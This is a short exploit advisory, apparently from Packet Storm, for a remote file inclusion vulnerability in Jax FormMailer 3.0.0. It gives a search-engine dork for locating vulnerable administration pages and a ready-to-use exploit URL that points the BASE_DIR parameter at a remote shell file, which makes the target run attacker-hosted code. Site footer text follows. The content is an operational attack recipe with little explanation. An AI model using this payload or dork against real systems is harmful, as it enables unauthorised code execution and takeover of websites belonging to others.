Jax FormMailer version 3.0.0 suffers from a remote file inclusion vulnerability.
25e8bd9379a8bcf8aa6500118eb1b541 --:remote file include:--
---------------------------------
script:Jax FormMailer 3.0.0
Release:01.06.2008
-
Author: ahmadbady
-----------------------------------------------------------------------
download from:http://www.jtr.de/scripting/php/formmailer/index_eng.html
-----------------------------------------------------------------------
dork:intitle:"Jax Formmailer - Administration"
-------------------------------------------
-------------------------------------------
xpl:
/path/modules/formmailer/formmailer.admin.inc.php?BASE_DIR[jax_formmailer]=http://site.com/shell.txt?
*******************************************
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!